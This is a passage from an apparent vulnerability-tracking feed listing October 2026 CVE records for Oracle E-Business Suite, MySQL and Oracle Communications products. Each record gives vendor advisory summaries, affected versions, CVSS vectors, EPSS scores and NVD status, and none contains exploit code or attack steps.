NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101820&date=2026-10-25
Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: ADADMIN).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in takeover of Oracle General Ledger. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101816
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101816).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101816&date=2026-10-25).
Sources:
NVD CVE-2026-101816: https://nvd.nist.gov/vuln/detail/CVE-2026-101816
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101816&date=2026-10-25
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client: mysqldump).
https://kevwire.com/record/CVE-2026-101797
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client: mysqldump). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client: mysqldump).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101797).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101797&date=2026-10-25).
Sources:
NVD CVE-2026-101797: https://nvd.nist.gov/vuln/detail/CVE-2026-101797
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101797&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client: mysqldump).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).
https://kevwire.com/record/CVE-2026-101796
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101796).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101796&date=2026-10-25).
Sources:
NVD CVE-2026-101796: https://nvd.nist.gov/vuln/detail/CVE-2026-101796
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101796&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Replication).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Security).
https://kevwire.com/record/CVE-2026-101791
Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Security). (Oct 20, 2026).
Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Security).   The supported version that is affected is 15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via TLS to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications BRM - Elastic Charging Engine accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications BRM - Elastic Charging Engine accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101791).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101791&date=2026-10-25).
Sources:
NVD CVE-2026-101791: https://nvd.nist.gov/vuln/detail/CVE-2026-101791
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101791&date=2026-10-25
Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Security).   The supported version that is affected is 15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via TLS to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications BRM - Elastic Charging Engine accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications BRM - Elastic Charging Engine accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer).
https://kevwire.com/record/CVE-2026-101786
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are MySQL Server: 26.7.0-26.7.1; MySQL Cluster: 26.7.0-26.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101786).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101786&date=2026-10-25).
Sources:
NVD CVE-2026-101786: https://nvd.nist.gov/vuln/detail/CVE-2026-101786
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101786&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are MySQL Server: 26.7.0-26.7.1; MySQL Cluster: 26.7.0-26.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).
https://kevwire.com/record/CVE-2026-101783
Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General). (Oct 20, 2026).
Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise MySQL Router.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Router accessible data as well as  unauthorized access to critical data or complete access to all MySQL Router accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101783).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101783&date=2026-10-25).
Sources:
NVD CVE-2026-101783: https://nvd.nist.gov/vuln/detail/CVE-2026-101783
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101783&date=2026-10-25
Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise MySQL Router.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all MySQL Router accessible data as well as  unauthorized access to critical data or complete access to all MySQL Router accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication GCS).
https://kevwire.com/record/CVE-2026-101781
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication GCS). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication GCS).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101781).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101781&date=2026-10-25).
Sources:
NVD CVE-2026-101781: https://nvd.nist.gov/vuln/detail/CVE-2026-101781
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101781&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication GCS).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).
https://kevwire.com/record/CVE-2026-101772
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101772).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101772&date=2026-10-25).
Sources:
NVD CVE-2026-101772: https://nvd.nist.gov/vuln/detail/CVE-2026-101772
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101772&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).
https://kevwire.com/record/CVE-2026-101771
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101771).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101771&date=2026-10-25).
Sources:
NVD CVE-2026-101771: https://nvd.nist.gov/vuln/detail/CVE-2026-101771
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101771&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).
https://kevwire.com/record/CVE-2026-101770
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs). (Oct 20, 2026).
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101770).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101770&date=2026-10-25).
Sources:
NVD CVE-2026-101770: https://nvd.nist.gov/vuln/detail/CVE-2026-101770
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101770&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client programs).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J).
https://kevwire.com/record/CVE-2026-101768
Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J). (Oct 20, 2026).
Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in takeover of MySQL Connectors. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101768).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101768&date=2026-10-25).
Sources:
NVD CVE-2026-101768: https://nvd.nist.gov/vuln/detail/CVE-2026-101768
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101768&date=2026-10-25
Vulnerability in the MySQL Connectors product of Oracle MySQL (component: Connector/J).   The supported version that is affected is 26.7.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise MySQL Connectors.  Successful attacks of this vulnerability can result in takeover of MySQL Connectors. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).
https://kevwire.com/record/CVE-2026-101759
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server). (Oct 20, 2026).
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101759).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101759&date=2026-10-25).
Sources:
NVD CVE-2026-101759: https://nvd.nist.gov/vuln/detail/CVE-2026-101759
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101759&date=2026-10-25
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).
https://kevwire.com/record/CVE-2026-101758
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server). (Oct 20, 2026).
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized update, insert or delete access to some of Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
